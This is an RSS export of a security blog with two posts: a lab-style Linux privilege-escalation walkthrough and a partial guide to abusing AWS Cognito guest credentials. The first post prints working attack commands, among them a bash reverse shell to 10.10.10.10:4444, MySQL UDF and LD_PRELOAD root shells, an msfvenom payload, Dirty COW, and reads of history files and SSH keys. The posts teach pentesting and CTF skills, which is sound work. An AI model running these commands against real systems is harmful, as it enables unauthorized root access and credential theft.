<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Untitled Publication]]></title><description><![CDATA[Untitled Publication]]></description><link>https://blog.bdhungana.com.np</link><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 14:32:58 GMT</lastBuildDate><atom:link href="https://blog.bdhungana.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Linux Privilege Escalation]]></title><description><![CDATA[If you are a pentester, CTF player or anyone who loves to pwn stuffs you might have gain the shell access to the linux servers at some time. Is it the dead end now?
Hell, no. when it’s come to post exploitation, there is some much to cover. Below is ...]]></description><link>https://blog.bdhungana.com.np/linux-privilege-escalation</link><guid isPermaLink="true">https://blog.bdhungana.com.np/linux-privilege-escalation</guid><category><![CDATA[pentesting]]></category><category><![CDATA[Linux]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Bibek Dhungana]]></dc:creator><pubDate>Sat, 15 Feb 2025 14:47:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739630772726/e5432e72-53fe-4168-88ed-54102f041045.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you are a pentester, CTF player or anyone who loves to pwn stuffs you might have gain the shell access to the linux servers at some time. Is it the dead end now?</p>
<p>Hell, no. when it’s come to post exploitation, there is some much to cover. Below is the basic concepts you can start for linux privesc.</p>
<h1 id="heading-privilege-tree">Privilege tree</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739629543101/2c125c03-5733-4b32-a9fb-932de97a30ec.png" alt class="image--center mx-auto" /></p>
<p><strong>There are two main privilege escalation variants:</strong></p>
<p><strong>Horizontal privilege escalation:</strong> This is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user (rather than elevating to super user). This allows you to inherit whatever files and access that user has. This can be used, for example, to gain access to another normal privilege user, that happens to have an SUID file attached to their home directory (more on these later) which can then be used to get super user access. [Travel sideways on the tree].</p>
<p><strong>Vertical privilege escalation (privilege elevation):</strong> This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. [Travel up on the tree].</p>
<h1 id="heading-suid-explotation">SUID Explotation</h1>
<p><strong>Finding and Exploiting SUID Files</strong></p>
<p>The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!</p>
<p><strong>What is an SUID binary?</strong></p>
<p>As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following demonstration of how maximum privileges (rwx-rwx-rwx) look:</p>
<p>r = read</p>
<p>w = write</p>
<p>x = execute</p>
<p><strong>user</strong>     <strong>group</strong>     <strong>others</strong></p>
<p>rwx       rwx       rwx</p>
<p>421       421       421</p>
<p>The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using <strong>"chmod"</strong> as <strong>755</strong>, then it will be: rwxr-xr-x.</p>
<p>But when special permission is given to each user it becomes SUID ****or SGID. When extra bit <strong>“4”</strong> is set to user(Owner) it becomes <strong>SUID</strong> (Set user ID) and when bit <strong>“2”</strong> is set to group it becomes <strong>SGID</strong> (Set Group ID).</p>
<p>Therefore, the permissions to look for when looking for SUID is:</p>
<p>SUID:</p>
<p>rws-rwx-rwx</p>
<p>GUID:</p>
<p>rwx-rws-rwx</p>
<p><strong>Finding SUID Binaries</strong></p>
<p>We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command: <strong>"find / -perm -u=s -type f 2&gt;/dev/null"</strong> to search the file system for SUID/GUID files. Let's break down this command.</p>
<p><strong>find</strong> - Initiates the "find" command</p>
<p><strong>/</strong> - Searches the whole file system</p>
<ul>
<li><p><strong>perm</strong> searches for files with specific permissions</p>
</li>
<li><p><strong>u=s</strong> Any of the permission bits <em>mode</em> are set for the file. Symbolic modes are accepted in this form</p>
</li>
<li><p><strong>type f</strong> Only search for files</p>
</li>
</ul>
<p><strong>2&gt;/dev/null</strong> - Suppresses errors</p>
<p><code>Finding SUID Binaries - "find / -perm -u=s -type f 2&gt;/dev/null"</code></p>
<h1 id="heading-etcpasswd-explotation">/etc/passwd explotation</h1>
<p><strong>Exploiting a writable /etc/passwd</strong></p>
<p>Continuing with the enumeration of users, we found that <strong>user7</strong> is a member of the <strong>root</strong> group with <strong>gid 0.</strong> And we already know from the <strong>LinEnum</strong> scan that <strong>/etc/passwd</strong> file is writable for the user. So from this observation, we concluded that <strong>user7</strong> can edit the /etc/passwd file.</p>
<p><strong>Understanding /etc/passwd</strong></p>
<p>The /etc/passwd file stores essential information, which  is required during login. In other words, it stores user account information. The /etc/passwd is a <strong>plain text file</strong>. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.</p>
<p>The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.</p>
<p><strong>Understanding /etc/passwd format</strong></p>
<p>The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows:</p>
<p>test:x:0:0:root:/root:/bin/bash</p>
<p>[as divided by colon (:)]</p>
<ol>
<li><p><strong>Username</strong>: It is used when user logs in. It should be between 1 and 32 characters in length.</p>
</li>
<li><p><strong>Password</strong>: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".</p>
</li>
<li><p><strong>User ID (UID)</strong>: Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.</p>
</li>
<li><p><strong>Group ID (GID)</strong>: The primary group ID (stored in /etc/group file)</p>
</li>
<li><p><strong>User ID Info</strong>: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.</p>
</li>
<li><p><strong>Home directory</strong>: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /</p>
</li>
<li><p><strong>Command/shell</strong>: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.</p>
</li>
</ol>
<p><strong>How to exploit a writable /etc/passwd</strong></p>
<p>It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!.</p>
<h1 id="heading-escaping-vim">Escaping vim</h1>
<p>Escaping Vi Editor</p>
<p><strong>Sudo -l</strong></p>
<p>This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use <strong>"sudo -l"</strong> to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges.</p>
<p><strong>Escaping Vi</strong></p>
<p>Running this command on the "user8" account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!</p>
<p><strong>Misconfigured Binaries and GTFOBins</strong></p>
<p>If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.</p>
<h1 id="heading-exploiting-crontab">Exploiting Crontab</h1>
<p>Exploiting Crontab</p>
<p><strong>What is Cron?</strong></p>
<p>The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.</p>
<p><strong>How to view what Cronjobs are active.</strong></p>
<p>We can use the command <strong>"cat /etc/crontab"</strong> to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.</p>
<p><strong>Format of a Cronjob</strong></p>
<p>Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.</p>
<p>\= ID</p>
<p>m = Minute</p>
<p>h = Hour</p>
<p>dom = Day of the month</p>
<p>mon = Month</p>
<p>dow = Day of the week</p>
<p>user = What user the command will run as</p>
<p>command = What command should be run</p>
<p>For Example,</p>
<p><strong>#  m   h dom mon dow user  command</strong></p>
<p>17    <em>1</em>          root  cd / &amp;&amp; run-parts --report /etc/cron.hourly</p>
<p><strong>How can we exploit this?</strong></p>
<p>We know from our LinEnum scan, that the file <a target="_blank" href="http://autoscript.sh/">autoscript.sh</a>, on user4's Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.</p>
<p><strong>Let's do it!</strong></p>
<p>Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.</p>
<p>View the contents of the system-wide crontab:</p>
<p><code>cat /etc/crontab</code></p>
<p>There should be two cron jobs scheduled to run every minute. One runs <a target="_blank" href="http://overwrite.sh">overwrite.sh</a>, the other runs /usr/local/bin/compress.sh.</p>
<p>Locate the full path of the <a target="_blank" href="http://overwrite.sh">overwrite.sh</a> file:</p>
<p><code>locate overwrite.sh</code></p>
<p>Note that the file is world-writable:</p>
<p><code>ls -l /usr/local/bin/overwrite.sh</code></p>
<p>Replace the contents of the <a target="_blank" href="http://overwrite.sh">overwrite.sh</a> file with the following after changing the IP address to that of your Kali box.</p>
<p>#!/bin/bashbash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1</p>
<p>Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.</p>
<p><code>nc -nvlp 4444</code></p>
<h1 id="heading-path-variable-explotation">PATH Variable explotation</h1>
<p>Exploiting PATH Variable</p>
<p><strong>What is PATH?</strong></p>
<p>PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.</p>
<p>It is very simple to view the Path of the relevant user with help of the command <strong>"echo $PATH"</strong>.</p>
<p><strong>How does this let us escalate privileges?</strong></p>
<p>Let's say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". Unlike in our previous SUID example, in this situation we can't exploit it by supplying an argument for command injection, so what can we do to try and exploit this?</p>
<p>We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead!</p>
<p>As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!</p>
<h1 id="heading-service-exploits">Service Exploits</h1>
<p>Service Exploits</p>
<p>The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a popular exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.</p>
<p>Change into the /home/user/tools/mysql-udf directory:</p>
<p><code>cd /home/user/tools/mysql-udf</code></p>
<p>Compile the raptor_udf2.c exploit code using the following commands:</p>
<p><code>gcc -g -c raptor_udf2.c -fPICgcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc</code></p>
<p>Connect to the MySQL service as the root user with a blank password:</p>
<p><code>mysql -u root</code></p>
<p>Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:</p>
<p><code>use mysql;create table foo(line blob);insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';create function do_system returns integer soname 'raptor_udf2.so';</code></p>
<p>Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:</p>
<p><code>select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');</code></p>
<p>Exit out of the MySQL shell (type <strong>exit</strong> or <strong>\q</strong> and press <strong>Enter</strong>) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:</p>
<p><code>/tmp/rootbash -p</code></p>
<p>Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!</p>
<p><code>rm /tmp/rootbashexit</code></p>
<h1 id="heading-environment-variables-explotation">Environment Variables explotation</h1>
<p>Sudo - Environment Variables</p>
<p>Sudo can be configured to inherit certain environment variables from the user's environment.</p>
<p>Check which environment variables are inherited (look for the env_keep options):</p>
<p><code>sudo -l</code></p>
<p>LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.</p>
<p>Create a shared object using the code located at /home/user/tools/sudo/preload.c:</p>
<p><code>gcc -fPIC -shared -nostartfiles -o /tmp/</code><a target="_blank" href="http://preload.so"><code>preload.so</code></a> <code>/home/user/tools/sudo/preload.c</code></p>
<p>Run one of the programs you are allowed to run via sudo (listed when running <strong>sudo -l</strong>), while setting the LD_PRELOAD environment variable to the full path of the new shared object:</p>
<p><code>sudo LD_PRELOAD=/tmp/</code><a target="_blank" href="http://preload.so"><code>preload.so</code></a> <code>program-name-here</code></p>
<p>A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.</p>
<p>Run ldd against the apache2 program file to see which shared libraries are used by the program:</p>
<p><code>ldd /usr/sbin/apache2</code></p>
<p>Create a shared object with the same name as one of the listed libraries (<a target="_blank" href="http://libcrypt.so">libcrypt.so</a>.1) using the code located at /home/user/tools/sudo/library_path.c:</p>
<p><code>gcc -o /tmp/</code><a target="_blank" href="http://libcrypt.so"><code>libcrypt.so</code></a><code>.1 -shared -fPIC /home/user/tools/sudo/library_path.c</code></p>
<p>Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):</p>
<p><code>sudo LD_LIBRARY_PATH=/tmp apache2</code></p>
<p>A root shell should spawn. Exit out of the shell. Try renaming /tmp/<a target="_blank" href="http://libcrypt.so">libcrypt.so</a>.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.</p>
<h1 id="heading-suid-sgid-executables-shared-object-injection">SUID / SGID Executables - Shared Object Injection</h1>
<p>The <strong>/usr/local/bin/suid-so</strong> SUID executable is vulnerable to shared object injection.</p>
<p>First, execute the file and note that currently it displays a progress bar before exiting:</p>
<p><code>/usr/local/bin/suid-so</code></p>
<p>Run <strong>strace</strong> on the file and search the output for open/access calls and for "no such file" errors:</p>
<p><code>strace /usr/local/bin/suid-so 2&gt;&amp;1 | grep -iE "open|access|no such file"</code></p>
<p>Note that the executable tries to load the <strong>/home/user/.config/libcalc.so</strong> shared object within our home directory, but it cannot be found.</p>
<p>Create the <strong>.config</strong> directory for the <a target="_blank" href="http://libcalc.so">libcalc.so</a> file:</p>
<p><code>mkdir /home/user/.config</code></p>
<p>Example shared object code can be found at <strong>/home/user/tools/suid/libcalc.c</strong>. It simply spawns a Bash shell. Compile the code into a shared object at the location the <strong>suid-so</strong> executable was looking for it:</p>
<p><code>gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c</code></p>
<p>Execute the <strong>suid-so</strong> executable again, and note that this time, instead of a progress bar, we get a root shell.</p>
<p><code>/usr/local/bin/suid-so</code></p>
<h1 id="heading-suid-sgid-executables-environment-variables">SUID / SGID Executables - Environment Variables</h1>
<p>The <strong>/usr/local/bin/suid-env</strong> executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.</p>
<p>First, execute the file and note that it seems to be trying to start the apache2 webserver:</p>
<p><code>/usr/local/bin/suid-env</code></p>
<p>Run strings on the file to look for strings of printable characters:</p>
<p><code>strings /usr/local/bin/suid-env</code></p>
<p>One line ("service apache2 start") suggests that the <strong>service</strong> executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.</p>
<p>Compile the code located at <strong>/home/user/tools/suid/service.c</strong> into an executable called <strong>service</strong>. This code simply spawns a Bash shell:</p>
<p><code>gcc -o service /home/user/tools/suid/service.c</code></p>
<p>Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:</p>
<p><code>PATH=.:$PATH /usr/local/bin/suid-env</code></p>
<h1 id="heading-suid-sgid-executables-abusing">SUID / SGID Executables - Abusing</h1>
<h1 id="heading-shell-features-1">Shell Features (#1)</h1>
<p>The /usr/local/bin/suid-env2 executable is identical to <strong>/usr/local/bin/suid-env</strong> except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.</p>
<p>Verify this with strings:</p>
<p><code>strings /usr/local/bin/suid-env2</code></p>
<p>In Bash versions <strong>&lt;4.2-048</strong> it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.</p>
<p>Verify the version of Bash installed on the Debian VM is less than 4.2-048:</p>
<p><code>/bin/bash --version</code></p>
<p>Create a Bash function with the name "<strong>/usr/sbin/service</strong>" that executes a new Bash shell (using -p so permissions are preserved) and export the function:</p>
<p><code>function /usr/sbin/service { /bin/bash -p; }export -f /usr/sbin/service</code></p>
<p>Run the <strong>suid-env2</strong> executable to gain a root shell:</p>
<p><code>/usr/local/bin/suid-env2</code></p>
<h1 id="heading-shell-features-2">Shell Features (#2)</h1>
<p>Note: This will not work on Bash versions 4.4 and above.</p>
<p>When in debugging mode, Bash uses the environment variable <strong>PS4</strong> to display an extra prompt for debugging statements.</p>
<p>Run the <strong>/usr/local/bin/suid-env2</strong> executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:</p>
<p><code>env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2</code></p>
<p>Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:</p>
<p><code>/tmp/rootbash -p</code></p>
<p><strong>Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!</strong></p>
<p><code>rm /tmp/rootbashexit</code></p>
<h1 id="heading-passwords-amp-keys">Passwords &amp; Keys</h1>
<h1 id="heading-history-files">History Files</h1>
<p>If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.</p>
<p>View the contents of all the hidden history files in the user's home directory:</p>
<p><code>cat ~/.*history | less</code></p>
<p>Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!</p>
<p>Switch to the root user, using the password:</p>
<p><code>su root</code></p>
<h1 id="heading-config-files">Config Files</h1>
<p>Config files often contain passwords in plaintext or other reversible formats.</p>
<p>List the contents of the user's home directory:</p>
<p><code>ls /home/user</code></p>
<p>Note the presence of a <strong>myvpn.ovpn</strong> config file. View the contents of the file:</p>
<p><code>cat /home/user/myvpn.ovpn</code></p>
<p>The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:</p>
<p><code>su root</code></p>
<h1 id="heading-ssh-keys">SSH Keys</h1>
<p>Sometimes users make backups of important files but fail to secure them with the correct permissions.</p>
<p>Look for hidden files &amp; directories in the system root:</p>
<p><code>ls -la /</code></p>
<p>Note that there appears to be a hidden directory called <strong>.ssh</strong>. View the contents of the directory:</p>
<p><code>ls -l /.ssh</code></p>
<p>Note that there is a world-readable file called <strong>root_key</strong>. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.</p>
<p>Copy the key over to your Kali box (it's easier to just view the contents of the <strong>root_key</strong> file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:</p>
<p><code>chmod 600 root_key</code></p>
<p>Use the key to login to the Debian VM as the root account:</p>
<p><code>ssh -i root_key root@10.10.193.56</code></p>
<h1 id="heading-nfs">NFS</h1>
<p>Files created via NFS inherit the <strong>remote</strong> user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.</p>
<p>Check the NFS share configuration on the Debian VM:</p>
<p><code>cat /etc/exports</code></p>
<p>Note that the <strong>/tmp</strong> share has root squashing disabled.</p>
<p>On your Kali box, switch to your root user if you are not already running as root:</p>
<p><code>sudo su</code></p>
<p>Using Kali's root user, create a mount point on your Kali box and mount the <strong>/tmp</strong> share (update the IP accordingly):</p>
<p><code>mkdir /tmp/nfsmount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs</code></p>
<p>Still using Kali's root user, generate a payload using <strong>msfvenom</strong> and save it to the mounted share (this payload simply calls /bin/bash):</p>
<p><code>msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf</code></p>
<p>Still using Kali's root user, make the file executable and set the SUID permission:</p>
<p><code>chmod +xs /tmp/nfs/shell.elf</code></p>
<p>Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:</p>
<p><code>/tmp/shell.elf</code></p>
<h1 id="heading-kernel-exploits">Kernel Exploits</h1>
<p>Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.</p>
<p>Run the <strong>Linux Exploit Suggester 2</strong> tool to identify potential kernel exploits on the current system:</p>
<p><code>perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/</code><a target="_blank" href="http://linux-exploit-suggester-2.pl"><code>linux-exploit-suggester-2.pl</code></a></p>
<p>The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at <strong>/home/user/tools/kernel-exploits/dirtycow/c0w.c</strong>. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).</p>
<p>Compile the code and run it (note that it may take several minutes to complete):</p>
<p><code>gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w./c0w</code></p>
<p>Once the exploit completes, run /usr/bin/passwd to gain a root shell:</p>
<p><code>/usr/bin/passwd</code></p>
<p>Remember to restore the original <strong>/usr/bin/passwd</strong> file and exit the root shell before continuing!</p>
<p><code>mv /tmp/bak /usr/bin/passwdexit</code></p>
<h1 id="heading-resources">Resources</h1>
<p>There is never a "magic" answer in the huge area that is Linux Privilege Escalation. This is simply a few examples of basic things to watch out for when trying to escalate privileges.The only way to get better at it, is to practice and build up experience. Checklists are a good way to make sure you haven't missed anything during your enumeration stage, and also to provide you with a resource to check how to do things if you forget exactly what commands to use.</p>
<p>Below is a list of good checklists to apply to CTF or penetration test use cases.</p>
<ul>
<li><p><a target="_blank" href="https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md">https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology</a> <a target="_blank" href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">and Resources/Linux - Privilege</a> <a target="_blank" href="http://Escalation.md">Escalation.md</a></p>
</li>
<li><p><a target="_blank" href="https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html">https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html</a></p>
</li>
<li><p><a target="_blank" href="https://payatu.com/guide-linux-privilege-escalation">https://payatu.com/guide-linux-privilege-escalation</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[AWS Cognito 
Misconfiguration]]></title><description><![CDATA[If you are the pentester dealing with the modern web applications you might have faced the use of congnito in your assessments or you might have watched the awesome video of the Yassine Aboukir. A big shoutout to yassine for the awesome talk.
This bl...]]></description><link>https://blog.bdhungana.com.np/aws-cognito-misconfiguration</link><guid isPermaLink="true">https://blog.bdhungana.com.np/aws-cognito-misconfiguration</guid><category><![CDATA[#aws #awspentesting #awscognito]]></category><category><![CDATA[penetration testing]]></category><dc:creator><![CDATA[Bibek Dhungana]]></dc:creator><pubDate>Wed, 06 Nov 2024 16:08:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1730954266378/fbec4cec-e00e-4ce5-87e3-feddb5139518.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you are the pentester dealing with the modern web applications you might have faced the use of congnito in your assessments or you might have watched the awesome <a target="_blank" href="https://youtu.be/U9EAov5tvl0?si=iSXi3XLY_hHfExNN"><code>video</code></a> of the Yassine Aboukir. A big shoutout to yassine for the awesome talk.</p>
<p>This blog post is all about the text version of the video by yassine that I have been keeping in my unstructured notes from quite some time. This can be useful during the pentesting while hunting for the cognito misconfigurations.</p>
<h1 id="heading-introduction-to-aws-cognito">Introduction to AWS Cognito</h1>
<ul>
<li><p>With Amazon cognito, you can add user-signup and sign-in features and control access to your web and mobile applications.</p>
</li>
<li><p>Amazon Cognito provides an identity store that scales to millions of users, supports social and enterprise identitiy federation (OIDC or SAML 2.0) and offers advanced security features to protect your consumers and business.</p>
</li>
<li><p>Amazon Cognito makes it easier for you to manage user identifies, authentication and permissions. It conisists of two main components:</p>
</li>
<li><p>User pools: allows <strong>sign-in</strong> and <strong>sign-up</strong> functionality.</p>
</li>
<li><p><strong>Identiity Pools:</strong> allow authenticated and unauthenticated users to access AWS resources using temporary AWS credentials.</p>
</li>
</ul>
<h1 id="heading-cognito-urls-enumeration">Cognito URLs Enumeration</h1>
<ul>
<li><p>API call user pool endpoint : <a target="_blank" href="http://cognito-idp.us-west2.amazaonaws.com">cognito-idp.us-west2.amazaonaws.com</a></p>
</li>
<li><p>API calls to identity pool endpoint : <a target="_blank" href="http://cognito-identity.us-west-2.amazonaws.com">cognito-identity.us-west-2.amazonaws.com</a></p>
</li>
</ul>
<p>Below are the list of AWS cognito misconfiguration that can be seen in the targets during the pentesting/bugbounty:</p>
<h1 id="heading-unauthorized-access-to-aws-services-due-to-libreal-aws-credentials">Unauthorized Access to AWS services due to Libreal AWS credentials</h1>
<ul>
<li><p>Guest Account is Enabled (Anyone can request credentials).</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907782450/3b953625-0ed2-4fc0-94c7-16aa8dce1e01.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>Try to fetch temporary AWS credentials as unauthenticated guest:</strong></p>
</li>
</ul>
<p>To generate the AWS credentials, we need to identify Pool ID which is usually hardcoded in the source code, in a bundled JS file or HTTP response. Other Useful information that you can find:</p>
<ul>
<li><p>Client ID.</p>
</li>
<li><p>User Pool ID.</p>
</li>
<li><p>Region.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907807461/ec5014c5-a104-4e09-be0d-24b50f7d5558.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p>After getting the required information,</p>
<p>Next step is to use the <strong>Pool Identity ID</strong> to generate an <strong>Identity ID.</strong></p>
<p>Use AWS Client as shown below:</p>
<p><code>aws cognito-identity get-id —identity-pool-id &lt;identity-pool-id&gt; —region &lt;region&gt;</code></p>
<p>Successful output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907837909/b40b75f0-8b8e-43e0-820b-c1eb16d76b59.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Next step is to use the previous Identity ID to generate AWS credentials. Use AWS cli as follows:</li>
</ul>
<p><code>aws cognito-identity get-credentials-for identity —identity-id &lt;identity-id&gt; —region &lt;region&gt;</code></p>
<p>Successful Output:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907921840/d1d064d2-b253-4a4f-a48c-dd6cc1adeb8a.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Now, awe can enumerate permissions associated with the obtained credentials using a tool such as:</li>
</ul>
<p><strong>Enumerate-iam.</strong></p>
<p><strong>Scout suite.</strong></p>
<p>Evidence:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907943361/b0dced7a-d199-4ce7-aad5-333b8b34cf57.png" alt class="image--center mx-auto" /></p>
<p>we can enumerate all sort of permissions that allow unauthenticated user to access AWS Services:</p>
<ul>
<li><p>dynamodb.list_backups().</p>
</li>
<li><p>dynamodb.list_tables().</p>
</li>
<li><p>lambda.list_functions().</p>
</li>
<li><p>s3.list_buckets().</p>
</li>
<li><p>etc.</p>
</li>
</ul>
<p>If the unauthenticated role is explicitly disabled, the following error is shown:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907967104/cc353d82-7b95-482d-a93b-f4b82fac6fe6.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Also, try to fetch temporary AWS credentials as authenticated user as shown below:</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730907995638/9225f8f9-1ab2-4168-9f16-a91471db442b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-authentication-bypass-due-to-enabled-signup-api-action">Authentication Bypass Due to Enabled Signup API action</h1>
<ul>
<li><p>Applications not offering user signup and only supporting administrative provision of accounts could be vulnerable as a result of not disabling signup API action.</p>
</li>
